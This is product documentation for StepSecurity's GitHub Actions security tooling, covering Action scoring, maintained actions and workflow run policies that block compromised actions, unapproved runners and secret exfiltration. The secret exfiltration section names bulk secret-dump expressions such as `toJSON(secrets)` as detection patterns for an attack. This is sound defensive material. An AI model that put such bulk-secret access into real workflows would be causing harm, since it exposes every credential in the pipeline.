| Security Policy   | Scorecard                     | Whether repo has a security policy                                                                                                |
| Vulnerabilities   | Scorecard (or OSV scan)       | Known vulnerabilities in dependencies                                                                                             |

**Popularity Score**

| More than 1000 | 10 |
| -------------- | -- |
| More than 500  | 7  |
| More than 200  | 5  |
| 200 or fewer   | 0  |

**Maintained Score (for internal/private actions)**

* Node.js Runtime Check
  * If the Action uses Node.js 16 or lower, the score is 0.<br>
* Commit Recency

| 30 days or less    | 10 |
| ------------------ | -- |
| 90 days or less    | 8  |
| 180 days or less   | 6  |
| 365 days or less   | 4  |
| 730 days or less   | 2  |
| More than 730 days | 0  |

***

**Vulnerabilities Score (for internal/private actions)**

The score is calculated using an OSV scan of the Action’s dependencies.

| 0           | 10 |
| ----------- | -- |
| 1–2         | 7  |
| 3–5         | 4  |
| More than 5 | 0  |

If no dependencies are found to scan, the score defaults to 10.

**Branch Protection Score**

Derived from OpenSSF Scorecard results and reflects whether the Action’s repository enforces recommended branch protection settings.

**Final Score Calculation**

* Public Actions (6 components)

{% code overflow="wrap" %}

```
(License + Popularity + BranchProtection + Maintained + SecurityPolicy + Vulnerabilities) / 6
```

{% endcode %}

* Private or Internal Actions (3 components)

```
(Maintained + Vulnerabilities + BranchProtection) / 3
```

The final score is rounded to the nearest whole number, resulting in a value between 0 and 10.

### Managing Low-Scoring Actions

* Actions with low security scores should be replaced or updated.
* StepSecurity provides maintained alternatives for some actions.
* If an action has a maintained version, you will see a `Maintained action available` label.

<figure><img src="/files/p41KIHPSybfHCx5KCRXo" alt=""><figcaption><p>StepSecurity Actions page showing GitHub Actions in Use</p></figcaption></figure>

* Clicking on the `Maintained action available` label will take you to the StepSecurity-maintained action, where you can see the difference between the StepSecurity-maintained action and the low-scoring action.

### Requesting a Maintained Action

* Click on an action with a **low score**.

<figure><img src="/files/LpVS1451IMM7PYIlyNp0" alt=""><figcaption></figcaption></figure>

* If it does not have a maintained version, you can request one.
* Click on `Request maintained action` .<br>

![GitHub Actions Advisor](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-03/4df01b00-116c-4320-9a48-1df15530d28f/ascreenshot.jpeg?tl_px=255,0\&br_px=3008,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=922,241)

* Enter your email and submit the request.

![GitHub Actions Advisor](https://ajeuwbhvhr.cloudimg.io/colony-recorder.s3.amazonaws.com/files/2025-03-03/cfdf34d9-6f5e-412b-9ccb-890e6218b508/ascreenshot.jpeg?tl_px=255,179\&br_px=3008,1718\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=629,299)


# Reusable Workflows

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

Reusable workflows in GitHub Actions let you create shared workflows that can be used across multiple repositories. This reduces duplication, keeps workflows consistent, and makes maintenance easier.

Instead of copying workflow files, you can reference a reusable workflow from another repository or within the same repository.

### Navigating Reusable Workflows

#### Accessing Reusable Workflows

* Navigate to the Actions section and select `Reusable Workflows`.
* You will see a list of all reusable workflows in your organization, including:
  * The repositories they belong to.
  * The repositories that are using them.
  * The Control Score for each workflow.

<figure><img src="/files/GxGROZjxrX5TrsbUi7yS" alt=""><figcaption></figcaption></figure>

#### Viewing Repositories Using a Reusable Workflow

* Click on the number under the `Repositories Using Reusable Workflow` column.
* This will take you to a page that displays:
  * The repository using the workflow
  * The workflow file name
  * The commit SHA
  * The associated tag

<figure><img src="/files/wkzmY0dx8EH2ul8TheK4" alt=""><figcaption></figcaption></figure>

#### Viewing the Control Score

* Click on the Control Score to see the detailed breakdown of the workflow’s score for each security control
* This will display a list of compliance checks and highlight areas where the workflow fails.
* You can review each failed control use [secure workflow](/github/orchestrate-security/secure-workflow) or[ secure repo](/github/orchestrate-security/secure-repo) to improve workflow compliance

<figure><img src="/files/Zh9g01ZULsDaRRAgGC05" alt=""><figcaption></figcaption></figure>


# GitHub Actions Advisor

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

We perform a holistic evaluation of Actions using Static Analysis, AI Analysis, and Runtime Analysis to provide a complete view of their risk profile

{% hint style="info" %}
Note: GitHub Actions security scores are graded by **OpenSSF ScoreCard**
{% endhint %}

### How to Check an Actions Security Score

* Navigate to the Actions section and select `GitHub Actions Advisor`
* Enter the name of an action (e.g., TimonVS/pr-labeler-action) to view its security score.
* You can also browse a list of Actions maintained by StepSecurity

<figure><img src="/files/4UhvkC6Dh5Ts23hDlZpk" alt=""><figcaption></figcaption></figure>

* This will open the GitHub Actions Advisor, which provides a breakdown of the GitHub Actions security score. The scores are calculated using Static Analysis

<figure><img src="/files/RlxV7VXDhYEDyOcnJpzA" alt=""><figcaption></figcaption></figure>

* The following details are displayed for each Action:

| Security Score Details   | Remarks                                                                                                                                                                                                       |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Score                    | The actions security score. The highest rating is 10.                                                                                                                                                         |
| License                  | Verifies the presence of a published license in standard locations. A clear license is crucial for security reviews, audits, and mitigating legal risks for users.                                            |
| Maintained               | Project activity is assessed based on recent commits and issue engagement. Active maintenance is crucial for ongoing security and functionality.                                                              |
| Vulnerabilities          | Dependencies are monitored for vulnerabilities and updated periodically to address identified issues promptly.                                                                                                |
| Branch protection        | Checks if default and release branches are protected using GitHub’s branch protection or repository rules. Ensures defined workflows, such as required reviews or status checks, are enforced before merging. |
| Manual code review       | Verifies that code changes are reviewed by at least one person other than the author. This practice enhances code quality and security through additional oversight.                                          |
| Secure publishinng       | Verifies that secure deployment practices are in place, including deployment review, reproducible builds, and generation of SBOM and provenance.                                                              |
| Signed commits           | All code contributions are made with signed commits, enforced through branch protection to ensure code authenticity and integrity.                                                                            |
| Automated security tools | Verifies the use of automated tools like SAST, SCA, and security scorecards on each change and periodically. Checks if responses are triaged promptly to maintain security standards.                         |
| Popular                  | Checks if the action is widely used by other open source projects. Higher usage can indicate community trust and more thorough vetting.                                                                       |
| Security policy          | Verifies the presence of a SECURITY.md file in standard locations. This policy provides secure reporting methods, ensuring responsible disclosure.                                                            |

* Scroll down in the GitHub Actions Advisor to see all outbound network calls made by the action. This section displays the results of the Action’s runtime analysis

<figure><img src="/files/mVmSeXe0zCsU5cMY81Wl" alt=""><figcaption></figcaption></figure>

* On the second tab, you can view the AI Analysis of the Action, including the Action Summary, AI Security Score, security findings, and recommendations

<figure><img src="/files/5mjNLML5H7m0QdINzl00" alt=""><figcaption></figcaption></figure>

### Composite Actions

Some GitHub Actions act as composite (parent) actions, meaning they include other GitHub Actions within their own action.yml. These composite actions make it easier to reuse complex logic but also introduce additional dependencies that can affect overall security.

When you open a composite action in the GitHub Actions Advisor, you’ll see a Composite Action Details section like this:

* **Effective Score** — Displays the combined score that factors in both the composite action and all internal actions it uses
* **Pinnable** — Indicates whether the composite action can be pinned, based on whether all internal actions are pinned to specific SHAs
* **Action Scores** — Lists each GitHub Action used inside the composite action, along with its individual security score

<figure><img src="/files/uIYyZJQY6WwCT5HerWfb" alt=""><figcaption><p>GitHub Actions Advisor</p></figcaption></figure>


# StepSecurity Maintained Actions

StepSecurity maintains a set of trusted GitHub Actions to reduce risk from supply chain attacks due to compromise of third-party actions and enhance security and consistency across workflows.

<figure><img src="/files/BDIosBFK8HpY052JwiA5" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Read the announcement: [StepSecurity Maintained Actions Are Now Free for Public Repos](https://www.stepsecurity.io/blog/stepsecurity-maintained-actions-are-now-free-for-public-repos)
{% endhint %}

{% hint style="info" %}
The current list of maintained actions can be found at <https://app.stepsecurity.io/github-action-advisor>

New action requests are fulfilled within 2 business days per action (e.g., 5 actions = 10 business days). Upstream changes from the original action repository are incorporated within 30 days of release.
{% endhint %}

We onboard StepSecurity Maintained Actions based on requests from our enterprise customers who typically ask us to onboard actions that:

* Have been abandoned by original maintainers
* Have single maintainers
* Receive low security scores (based on [OpenSSF Scorecard](https://github.com/ossf/scorecard))
* Present high security risks due to credential access requirements

### Pricing and Access

* **Public repositories**: StepSecurity Maintained Actions are free to use. No subscription is required.
* **Private repositories**: Maintained actions include a subscription check and require a StepSecurity subscription. This funds the ongoing security maintenance, reviews, and vulnerability management.

Because maintained actions are drop-in replacements, switching is typically a one-line change in your workflow YAML: replace the original action reference with the StepSecurity equivalent.

{% hint style="info" %}
**Automated replacement for Enterprise tier:** Enterprise tier customers can replace third-party actions with StepSecurity Maintained equivalents across many repositories automatically using [Policy-Driven PRs](/github/orchestrate-security/policy-driven-prs#replace-third-party-actions-with-stepsecurity-maintained-actions).
{% endhint %}

### Our Secure Maintenance Process

1. **Rigorous Onboarding**: Every action undergoes a thorough manual secure code review before being onboarded as a StepSecurity Maintained Action
2. **AI-Assisted Secure Code Review**: Before an action is released, we run an AI-assisted secure code review across the upstream source to surface vulnerable or risky code, then fix those issues as part of onboarding
3. **Strict Access Control**: All action repositories are created in the StepSecurity organization with write access strictly limited to our engineering team
4. **Robust Branch Protection**:
   * Requires cryptographically signed commits
   * Mandates approval from a reviewer other than the PR creator
   * Enforces security tool status checks before merging, such as:
     * CodeQL
     * Dependency Review
     * OpenSSF Scorecard
     * GuardDog
5. **Tag Protection**: By default, no tags can be created or changed. We use just-in-time access to create tags during the release process
6. **Secure Release Process**:
   * For Node actions: The dist folder is built from scratch and validated within a GitHub Actions workflow
   * For Docker actions: New images are built and pushed to StepSecurity's GitHub container registry
7. **Release Safeguards**:
   * Uses environment-based approvals to require explicit verification before release
   * Utilizes ephemeral GitHub Actions tokens instead of persistent bot accounts
8. **Industry Best Practices**:
   * Follows Open Source Security Foundation Scorecard recommendations
   * Pins dependencies in GitHub Actions workflows to specific versions
   * Implements minimal GITHUB\_TOKEN permissions
   * Utilizes CodeQL and Dependabot
9. **Proactive Vulnerability Management**: Continuously monitors for security vulnerabilities in dependencies with a defined SLA for patches
   * Critical vulnerabilities (CVSS 9.0 and higher): 2 days
   * High-risk vulnerabilities (CVSS 7.0 and higher): 30 days
   * Moderate-risk vulnerabilities (CVSS 4.0 to 6.9): 90 days
   * Low-risk vulnerabilities (CVSS under 4.0): 180 days
10. **Upstream Coordination**: Monitors for upstream changes and incorporates them using the same rigorous review and release process. Upstream changes from the original action repository are incorporated within **30** days of release.
11. **Comprehensive Testing**:
    * Implements integration tests for all actions
    * Tests run automatically before updating dependencies or merging from upstream
    * Ensures reliability and consistent behavior across updates
12. **Runtime Security Monitoring**:
    * Runs actions with StepSecurity Harden Runner to observe and analyze network traffic
    * Monitors runtime behavior for anomalies or unexpected activities

### Real-World Security Benefits

**Case Study Comparisons:**

* **tj-actions/changed-files**: A compromise occurred when a [persistent bot account](https://github.com/tj-actions/changed-files/issues/2464#issuecomment-2727130040) with repository access was exploited to update tags. StepSecurity actions eliminate this risk by avoiding persistent credentials and requiring environment-based approvals for releases.
* **reviewdog actions**: Security was compromised due to [overly permissive access control](https://github.com/reviewdog/reviewdog/issues/2079) where contributors who submitted to `reviewdog/action-*` repositories were automatically invited to the reviewdog/actions-maintainer team, which had write access to these repositories. StepSecurity restricts access exclusively to our dedicated maintenance team.

**Follow this interactive demo to see it in action:**

{% embed url="<https://app.storylane.io/share/v7tntzghtcr1>" %}


# Action Requests

This page allows you to track the status of your requested maintained actions.

New action requests are fulfilled within 2 business days per action. For example, 5 actions will take approximately 10 business days to complete.

<figure><img src="/files/EheVkWPgDKK5TPA8ESPm" alt=""><figcaption></figcaption></figure>

**Follow this interactive demo to see how to request a StepSecurity maintained action:**

{% embed url="<https://app.storylane.io/share/zqa0oxulxv5c>" %}


# Workflow Run Policies

{% hint style="info" %}
This feature is currently available for early access. If you installed the [StepSecurity Advanced App](https://github.com/apps/stepsecurity-app) before **May 1st, 2025**, you will need to accept **a new permission** to enable Workflow Run policies:

* `actions: write`

This permissions is required for StepSecurity Advanced App to cancel GitHub workflow runs.
{% endhint %}

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

Workflow Run Policies allow you to enforce security controls by blocking GitHub Actions workflow runs that violate organization-defined policies. This is particularly useful for preventing misconfigurations and supply chain attacks in your CI/CD pipelines.

## How It Works

When a workflow run violates a policy, the run is automatically blocked. You can define policies such as:

* Automatically block compromised GitHub Actions, preventing them from executing in your workflows
* Whether secrets can be used on non-default branches
* Which GitHub Actions are permitted, including internal/private actions
* Which runner labels are allowed or disallowed
* Whether workflows are required to run in a hardened environment via the Harden-Runner action

Below are the supported policy types and example runs where the policy enforcement blocked workflow execution:

<table><thead><tr><th width="202.810791015625">Policy Type</th><th width="312.0450439453125">Description</th><th width="145.3828125">Example Blocked Run</th><th>Workflow File</th></tr></thead><tbody><tr><td><a href="/pages/VM2VHNg1kXWVmg8okUjB#compromised-actions-policy">Compromised Actions Policy</a></td><td>Blocks runs of compromised GitHub Actions</td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14963344708">Run</a></td><td><a href="https://github.com/actions-security-demo/run-policy-demo/blob/570526443e4ba306d7b2408a7e4259bd0226ccde/.github/workflows/ci.yml">Workflow</a></td></tr><tr><td><a href="/pages/VM2VHNg1kXWVmg8okUjB#secret-exfiltration-policy">Secret Exfiltration Policy</a></td><td>Prevents unauthorized access to Secrets</td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775638558">Run</a></td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775638558/workflow">Workflow</a></td></tr><tr><td><a href="/pages/VM2VHNg1kXWVmg8okUjB#allowed-actions-policy">Allowed Actions Policy</a></td><td>Blocks runs if a third-party or internal action is not on the allowed list.</td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775587778">Run</a></td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775587778/workflow">Workflow</a></td></tr><tr><td><a href="/pages/VM2VHNg1kXWVmg8okUjB#runner-label-policy">Runner Label Policy</a></td><td>Blocks runs if the runner label is not in an allowed list.</td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775622822">Run</a></td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/14775622822/workflow">Workflow</a></td></tr><tr><td><a href="/pages/VM2VHNg1kXWVmg8okUjB#harden-runner-policy">Harden-Runner Policy</a></td><td>Blocks runs that do not have harden-runner action</td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/24687232788">Run</a></td><td><a href="https://github.com/actions-security-demo/run-policy-demo/actions/runs/24687232788/workflow">Workflow</a></td></tr></tbody></table>

When a workflow run is blocked, you will see this message in the workflow run:

```
The run was canceled by @stepsecurity-app[bot].
```

Compliant workflow runs continue without any impact—everything runs as expected.

Use this interactive demo to learn how to set up an Actions policy in your organization:

{% embed url="<https://app.storylane.io/share/oyniugodihnf>" %}


# Policies

Use this page to view and manage all workflow run policies created in your organization.

<figure><img src="/files/WVimDO2zBUQERxPVp76T" alt=""><figcaption></figcaption></figure>

## Creating a New Policy in Your Organization

There are five policy types you can create:

* [Compromised Actions Policy](#compromised-actions-policy) - Block the use of compromised Actions
* [Secret Exfiltration Policy ](#secret-exfiltration-policy)- Prevents unauthorized access to Secrets
* [Allowed Actions Policy ](#allowed-actions-policy)- Block specific GitHub Actions
* [Runner Label Policy](#runner-label-policy) - Prevent or monitor usage of specific runners
* [Harden-Runner Policy](#harden-runner-policy) - Require the Harden-Runner action in every workflow run

### Compromised Actions Policy

The Compromised Actions Policy prevents the use of known malicious or compromised GitHub Actions in workflows. It scans for references to actions flagged as security risks and blocks their execution to protect your environment.

#### **Why It Matters**

Workflows often rely on third-party actions, which may be:

* Compromised via account takeovers
* Malicious by design
* Altered to include malware or backdoors

This policy reduces risk by:

* Maintaining a list of compromised actions
* Scanning workflows for those references
* Blocking runs using them
* Alerting developers with actionable feedback

#### **How It Works**

StepSecurity's threat intelligence team continuously monitors the GitHub Actions ecosystem for compromised actions. When the team learns that an action has been compromised, it manually verifies the compromise and then adds the action to the compromised actions list that StepSecurity maintains.

Once an action is on the list, any new workflow run that uses it is blocked from execution. StepSecurity sends a cancel API call to the workflow run, so the run is canceled before the compromised action can do harm.

**Lifecycle of a compromised action event**

1. **Discovery**: The threat intelligence team learns of a potential compromise through continuous monitoring.
2. **Verification**: The team manually verifies the compromise before taking action.
3. **Blocking**: The action is added to the compromised actions list. New workflow runs that reference it are canceled automatically.
4. **Notification**: Each addition to the list is accompanied by a [Threat Center](/workspace/threat-center) entry and a threat intel notification, so you are alerted when such an event happens.
5. **Return to normal operations**: Once the action's repository has been cleaned up, blocking is limited to the specific compromised commit SHAs only. The action as a whole is no longer blocked, and workflows referencing clean versions run normally.

**Viewing the current list**

The policy editor shows the compromised actions the policy currently checks for, under **Currently known compromised actions**. Each entry shows whether all versions of the action are compromised or only specific versions (for example, release tags that were re-pointed to a malicious commit). The list updates automatically as StepSecurity's threat intelligence team adds new compromises, so the count and entries you see reflect the live list.

<figure><img src="/files/AXLS8PHEmdgmRFjg2ggf" alt=""><figcaption></figcaption></figure>

**Point-in-time evaluation records**

Every policy evaluation records the compromised actions list as it existed at the time of the run. When you review a past evaluation on the Policy Evaluations page, you can open **Compromised actions list at run time** to see exactly which entries the run was checked against. Actions added to the list after that run are not shown, so you can always reconstruct why a run was or was not blocked.

**What Developers See**

If a compromised action is used:

* The workflow is automatically canceled and a PR comment explains the violation and suggests trusted alternatives

<figure><img src="/files/YHwG0Vd6HNL33eHxy23t" alt=""><figcaption></figcaption></figure>

To try the Compromised Action policy, add this action to your workflow:

```
step-security/dummy-compromised-action@main
```

**To create a compromised Actions policy, follow the steps below:**

**Step 1: Navigate to the Workflow Run Policies page**

* Go to your StepSecurity dashboard, then to Workflow Run Policies → Policies in the sidebar.

<figure><img src="/files/3F4wzy6PKnxSo1urwwvz" alt=""><figcaption></figcaption></figure>

**Step 2: Click “Create Policy”**

* Click the Create Policy button on the top right of the page.

<figure><img src="/files/bG1KQuLHZydkq3aTiWY7" alt=""><figcaption><p>Click the create button</p></figcaption></figure>

**Step 3: Fill in Policy Details**

* Policy Name – e.g., *Compromised Actions Policy*
* Policy Type – Select "Compromised Actions Policy"
* Action – Choose between:
  * Enforce: Actively blocks compromised Actions
  * Dry Run: Does not block the workflow run but records the violation in the Evaluations page

<figure><img src="/files/232W30FCQXaYom6g2yte" alt=""><figcaption><p>Setting up Compromised Actions Policy</p></figcaption></figure>

**Step 4: Review the currently known compromised actions**

The policy editor lists the compromised actions the policy will check for, under **Currently known compromised actions**, with the affected versions of each. No configuration is needed here: StepSecurity maintains this list and updates it automatically, so it is shown for review only.

<figure><img src="/files/AXLS8PHEmdgmRFjg2ggf" alt=""><figcaption></figcaption></figure>

**Step 5: (Optional) Customize the PR Comment Template**

The editor includes a PR Comment Template used when this policy blocks a run from a pull request. Leave the default unchanged to use the standard StepSecurity comment, or customize it. See [PR Comment Template](#pr-comment-template) for the default template and supported placeholders.

**Step 6: Select Repositories/Organizations**

* Choose whether to apply the policy to:
  * All current and future repositories/organizations *(default)*, or
  * Select specific repositories/organizations manually

<figure><img src="/files/X4OKajZoIbY6va5Jk5Fp" alt=""><figcaption></figcaption></figure>

**Step 5: Save the Policy**

* After configuring all settings, click Save to create the policy.

![Click the save button](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-05-05/83faa3ac-1ad1-4d61-8a12-95ced8eee9d3/ascreenshot.jpeg?tl_px=195,859\&br_px=1724,1714\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=524,494)

Follow this interactive demo to see how this workflow run policy works in practice:

{% embed url="<https://app.storylane.io/share/ywepexcm8irs>" %}

### Secret Exfiltration Policy

The Secret Exfiltration Policy protects against unauthorized secret access in GitHub Actions. It blocks modified workflows in non-default branches from using secrets unless explicitly approved.

#### **Why It Matters**

Workflows often need secrets to access protected resources. Attackers may exploit non-default branches to run malicious workflows and exfiltrate secrets. This policy helps stop that by:

* Allowing secret access only if the workflow matches the default branch
* Enforcing approval for legitimate changes
* Creating an auditable approval trail

**How It Works**

* Detects non-default branch workflows accessing secrets (${{ secrets.X }}, toJSON(secrets))
* Compares workflow content to the default branch using SHA256
* Requires a workflows-approved label from a different team member for approval
* Blocks runs without proper matching or approval

**What Developers See**

If a modified workflow accesses secrets:

* The run is canceled, and a PR comment explains the block and how to get approval (a teammate has to add the "**workflows-approved**" label to the PR)

<figure><img src="/files/M6NDrlnqDNbn0Xrfr5hj" alt=""><figcaption></figcaption></figure>

* Once the "workflows-approved" label has been added by a teammate, the workflow can be re-run

<figure><img src="/files/juM2lsAUatnuJdVLlAKj" alt=""><figcaption></figcaption></figure>

#### Creating a **Secret Exfiltration** Policy

**Step 1: Select “Secret Exfiltration Policy”**

* You can exempt specific users or bot accounts from this policy. When a workflow is triggered by an exempted user or bot, the run will not be blocked by the policy.

<figure><img src="/files/a4566viUQbdyCqo4FXJU" alt=""><figcaption></figcaption></figure>

**Step 2: (Recommended) Block only bulk secrets access**

Toggle **Block only when a workflow accesses all secrets at once** on to block only pull requests that introduce bulk secret access patterns such as `${{ toJSON(secrets) }}`, which dump every secret at once. Targeted references such as `${{ secrets.NPM_TOKEN }}` are not blocked.

Most real-world CI/CD secret exfiltration attacks use bulk-access patterns. This mode provides targeted protection while dramatically reducing false positives, so you do not need to exempt repositories whose workflows legitimately reference individual secrets.

<figure><img src="/files/VytVbOw9aVY2ioQ86Dif" alt=""><figcaption></figcaption></figure>

**Step 3: (Optional) Analyze default branch runs**

Toggle **Analyze default branch runs** on to also block workflow runs on the default branch when the workflow references secrets. The diff-vs-default-branch comparison and the `workflows-approved` label do not apply on the default branch.

{% hint style="info" %}
We recommend pairing this option with the bulk-access toggle above to limit the blast radius, since workflows on the default branch commonly make legitimate use of individual secrets.
{% endhint %}

**Step 4: (Optional) Customize the PR Comment Template**

The editor includes a PR Comment Template used when this policy blocks a run from a pull request. Leave the default unchanged to use the standard StepSecurity comment, or customize it. [See PR Comment Template](#pr-comment-template) for the default template and supported placeholders.

**Step 5: Choose Target Repositories/Organizations and save the policy**

<figure><img src="/files/LH1RhSudhVQGEKzFGcPW" alt=""><figcaption></figcaption></figure>

Follow this interactive demo to see how this workflow run policy works in practice:

{% embed url="<https://app.storylane.io/share/ehzs59gzdatf>" %}

### Allowed Actions Policy

Use this policy to enforce an allowlist of GitHub Actions. Any action not on the allowlist is blocked (Enforce) or flagged (Dry Run). You can also require that every allowed action be pinned to a specific commit SHA, which protects against tag-overwrite and supply-chain attacks.

#### Why It Matters

Every third-party GitHub Action that runs in your workflow inherits access to your repository's `GITHUB_TOKEN` and any secrets the job exposes. An unvetted, typosquatted, or compromised action can:

* Exfiltrate secrets, tokens, or source code
* Inject malicious code into build artifacts
* Pivot into internal systems via repository-scoped credentials
* Execute arbitrary commands with the permissions of the workflow

Maintaining an allowlist narrows your exposure to the set of actions your security team has reviewed. Requiring pinned references on top of that protects you from a second category of attack: a previously-trusted action whose `@v4` tag or `@main` branch is moved to point at malicious code — the pattern behind the `tj-actions/changed-files` compromise and similar incidents.

#### Creating an **Allowed Actions** Policy

**Step 1: Select “Allowed Actions Policy”**

<figure><img src="/files/yMlIJGu6ki4fPH3UKsKj" alt=""><figcaption></figcaption></figure>

**Step 2: (Optional) Require pinned actions**

Toggle **Only allow pinned actions** on if you want to block any action reference that is not pinned to a commit SHA. This applies on top of the allowlist — an action must be both allowlisted and pinned to pass.

<figure><img src="/files/e8MLIOxTK5SoeuFxH6Oo" alt=""><figcaption></figcaption></figure>

**Step 3: Add Actions to Allowlist**

* Manually type and add actions (e.g., `actions/checkout`) **OR**

<figure><img src="/files/dNRp9XzrjuC5kq9jjWPG" alt=""><figcaption></figcaption></figure>

* Use All Actions (Used) to select from known usage

<figure><img src="/files/cEk0K9N6ejBYeC5XedQ8" alt=""><figcaption></figcaption></figure>

* Select one Action and click "Add to Allowed List"

![Setting up Actions Policy using existing Action in the organization](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-05-05/560f6dc1-6ed8-4b44-a0a8-e713fe4e4e96/ascreenshot.jpeg?tl_px=272,0\&br_px=3024,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=809,166)

* Decide whether to allow all versions (default) or select specific commit versions **OR**

![Setting up Actions Policy using existing Action in the organization](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-05-05/5131ed95-a2d4-4344-b512-835a27697f51/ascreenshot.jpeg?tl_px=0,12\&br_px=2752,1551\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=423,277)

* **Use Repository Filter (Optional):** Go to **By Repository (Used)** tab → Select a repo → Add used actions

![Setting up Actions Policy by Repository using Actions](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-05-05/6f6b7c07-313a-4ceb-8362-bd3a60dfc627/ascreenshot.jpeg?tl_px=272,142\&br_px=3024,1681\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=863,276)

**Step 4: (Optional) Customize the PR Comment Template**

The editor includes a PR Comment Template used when this policy blocks a run from a pull request. Leave the default unchanged to use the standard StepSecurity comment, or customize it. See [PR Comment Template](#pr-comment-template) for the default template and supported placeholders.

**Step 5: Click "Save"**

<figure><img src="/files/LH1RhSudhVQGEKzFGcPW" alt=""><figcaption></figcaption></figure>

Follow this interactive demo to see how this workflow run policy works in practice:

{% embed url="<https://app.storylane.io/share/oyniugodihnf>" %}

### Runner Label Policy

Use this policy to block untrusted GitHub-hosted runners or allow only specific self-hosted runners.

#### Why It Matters

The `runs-on` value determines what machine a job actually executes on, and different runner labels have very different security and cost profiles.

The Runner Label Policy lets you enforce that jobs only execute on approved runner labels. This is useful when you want to block specific runner types, for example, preventing the use of GitHub-hosted runners because your organization standardizes on self-hosted runners for security or compliance reasons. With the allow list mode, you can go further and pin down exactly which labels and runner constraint values are permitted, including the structured `runs-on` strings used by third-party runner providers.

#### Creating a Runner Label Policy

**Step 1: Fill in Policy Details**

* Policy Name – e.g., *Do not allow GitHub-Hosted Runners*
* Policy Type – Select Runner Label Policy
* Action – Choose between:
  * Enforce: Actively blocks disallowed runner labels
  * Dry Run: Does not block the workflow run but records the violation in the Evaluations page

**Step 2: Choose a restriction mode**

The policy operates in one of two modes:

* **Disallowed labels (block list)**: blocks workflows that use any label on the list; everything else is allowed.
* **Allowed labels & constraints (allow list)**: only labels and constraint values on the list may be used. Each configured dimension is enforced independently, and a run that uses any label or constraint value outside the list violates the policy.

<figure><img src="/files/wrwx61fXudU2F5gQG8a1" alt=""><figcaption></figcaption></figure>

**Step 3 (Disallowed mode): Specify disallowed runner labels**

You can disallow runner labels in two ways, and combine both in the same policy:

* **Generic label groups**: check **GitHub-hosted standard runners** to disallow every GitHub-hosted standard runner label (Ubuntu, Windows, and macOS, covering latest, versioned, ARM, and preview labels) in one step. The group excludes larger runners and self-hosted runners. Click the label count next to the group name to see exactly which labels it represents. StepSecurity keeps this list up to date automatically as GitHub adds or retires labels, so you do not need to edit the policy when new runner images ship.
* **Custom labels**: type a runner label (e.g., `ubuntu-latest`, `my-self-hosted-runner`) and press Enter to add it. Use this for individual labels or labels not covered by a group.

Workflows using any disallowed runner label will be blocked by this policy.

**Step 3 (Allowed mode): Specify allowed labels and constraints**

In allowed mode, checking a generic label group allows all of its runner labels. Beyond groups, you configure two things:

* **Allowed labels**: plain runner labels (no `=`) that this policy permits, such as `ubuntu-latest` or `self-hosted`. You can also paste an entire `runs-on` string here to allow it verbatim. Leave the field empty to not restrict plain labels.
* **Runner constraints**: allowed values for each structured `runs-on` key, following the runs-on.com scheme (`family`, `cpu`, `image`, `ami`, `volume`, and so on). This is designed for teams using third-party runner providers such as RunsOn, which provision self-hosted machines through structured `runs-on` strings like:

```yaml
runs-on: runs-on=${{ github.run_id }}/runner=2cpu-linux-x64/extras=s3-cache
```

Add one constraint row per key with all the values you want to allow. For example, a `cpu` row with `2`, `4`, and `8` allows any of those values. Only the keys you configure are enforced; any other `key=value` dimension a workflow uses is left unrestricted.

A few matching rules to be aware of:

* For a combined value like `cpu=2+8`, add it either as the single value `2+8` (order does not matter, so `8+2` matches too) or as the separate values `2` and `8`.
* Expression values are matched by their exact text (whitespace-insensitive). For example, a `runs-on` row with the value `${{ github.run_id }}` requires any `runs-on` routing token to use exactly that expression. On a key the policy configures, an expression that is not listed violates the policy: with `family` configured, `family=${{ vars.RUNNER_FAMILY }}` is blocked unless that exact expression is added as an allowed value. Keys the policy does not configure are not restricted: their values, expressions included, are allowed.

<figure><img src="/files/IF1lsDyiDJwZbrjsoXke" alt=""><figcaption></figcaption></figure>

**Step 4: (Optional) Customize the PR Comment Template**

The editor includes a PR Comment Template used when this policy blocks a run from a pull request. Leave the default unchanged to use the standard StepSecurity comment, or customize it. See [PR Comment Template](#pr-comment-template) for the default template and supported placeholders.

**Step 5: Select Repositories/Organizations**

Choose whether to apply the policy to:

* All current and future repositories/organizations *(default)*, or
